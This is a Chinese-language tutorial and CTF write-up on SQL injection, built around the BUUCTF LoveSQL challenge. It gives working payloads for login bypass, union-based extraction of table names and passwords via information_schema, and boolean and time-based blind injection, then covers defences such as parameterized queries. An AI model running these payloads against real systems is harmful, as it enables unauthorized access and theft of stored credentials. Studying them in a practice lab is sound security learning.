1. 初识SQL注入：从登录框开始
第一次接触SQL注入是在一个深夜，我盯着那个简陋的登录界面发呆。用户名、密码、登录按钮，就这么简单的三个元素，却隐藏着整个数据库的大门。就像发现了一把能打开银行金库的钥匙，只不过这把钥匙是用字符串拼出来的。
SQL注入的本质很简单：应用程序把用户输入的数据直接拼接到SQL查询语句中，没有做任何过滤或转义。比如一个典型的登录验证SQL可能是这样的：
SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码'当你在用户名框输入admin' --时，神奇的事情发生了。这个单引号闭合了原来的引号，两个横杠注释掉了后面的内容，SQL就变成了：
SELECT * FROM users WHERE username='admin' -- ' AND password=''这就相当于直接查询用户名为admin的记录，完全绕过了密码验证。我第一次成功时差点从椅子上跳起来，原来那些看似坚固的系统，背后竟有如此简单的突破口。
2. 靶场实战：LoveSQL通关指南
2.1 环境准备与初步探测
BUUCTF的LoveSQL靶场是个绝佳的练习场。打开题目，映入眼帘的是个再普通不过的登录页面。我的第一反应是尝试经典的单引号测试：
用户名：admin' 密码：任意页面返回了SQL语法错误，这就像黑客电影里的"门锁松动"信号，说明这里存在SQL注入漏洞。更令人兴奋的是，当尝试万能密码' or 1=1 --时，竟然直接登录成功了！
2.2 确定注入类型与字段数
确认存在注入后，下一步是判断字段数量。我使用了order by技术，从1开始递增：
用户名：a' order by 1 -- 用户名：a' order by 2 -- 用户名：a' order by 3 --当测试到4时报错，说明当前查询结果有3个字段。这个过程就像在黑暗中摸索门锁的结构，每个反馈都在脑海中构建出SQL查询的轮廓。
2.3 联合查询获取数据库信息
知道字段数后，就可以用联合查询来获取更多信息了。首先获取当前数据库的所有表名：
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --返回结果显示有两个表：geekuser和l0ve1ysq1。根据经验，flag很可能藏在第二个表中。接着获取l0ve1ysq1表的列名：
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 --发现三个字段：id、username和password。最后的冲刺就是查询password字段：
a' union select 1,(select group_concat(password) from l0ve1ysq1),3 --这时页面显示了一堆数据，右键查看源代码才找到真正的flag。这个过程就像在迷宫中一步步找到出口，每个步骤都环环相扣。
3. SQL注入的深层原理
3.1 信息架构的利用
SQL注入最强大的武器之一是information_schema数据库。这个系统数据库就像整个MySQL的"地图"，包含了所有数据库、表、列的信息。通过查询这个数据库，攻击者可以像查看图书馆目录一样浏览整个数据库结构。
比如获取所有数据库名：
select group_concat(schema_name) from information_schema.schemata或者获取指定表的所有列：
select group_concat(column_name) from information_schema.columns where table_name='users'3.2 盲注与时间注入
有时候页面不会直接显示查询结果，这时就需要盲注技术。基于布尔的盲注通过观察页面返回的真假状态来推断数据：
admin' and substring(database(),1,1)='a' --如果数据库名的第一个字母是a，页面会正常返回；否则会显示错误。更隐蔽的是时间盲注，通过sleep函数观察响应延迟：
admin' and if(substring(database(),1,1)='a',sleep(3),0) --这些技术就像在黑暗中用回声定位，虽然看不到目标，但能通过反馈来判断环境。
4. 防御措施与最佳实践
4.1 参数化查询
防止SQL注入最有效的方法是使用参数化查询（预编译语句）。以PHP为例：
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);这样用户输入会被当作数据处理，而不是SQL代码的一部分。就像把信件装进信封再寄出，邮差不会拆开看内容。
4.2 其他防御手段
除了参数化查询，还有多层防御策略：
- 输入验证：检查用户输入是否符合预期格式
- 最小权限原则：数据库用户只赋予必要的最低权限
- Web应用防火墙(WAF)：过滤可疑的SQL关键字
- 定期安全审计：检查代码中的SQL拼接点
记得有次我帮朋友检查他的网站，发现一个搜索功能直接拼接SQL。当我演示如何通过注入获取管理员密码时，他的表情从怀疑到震惊再到后怕，那堂课比任何文档都印象深刻。
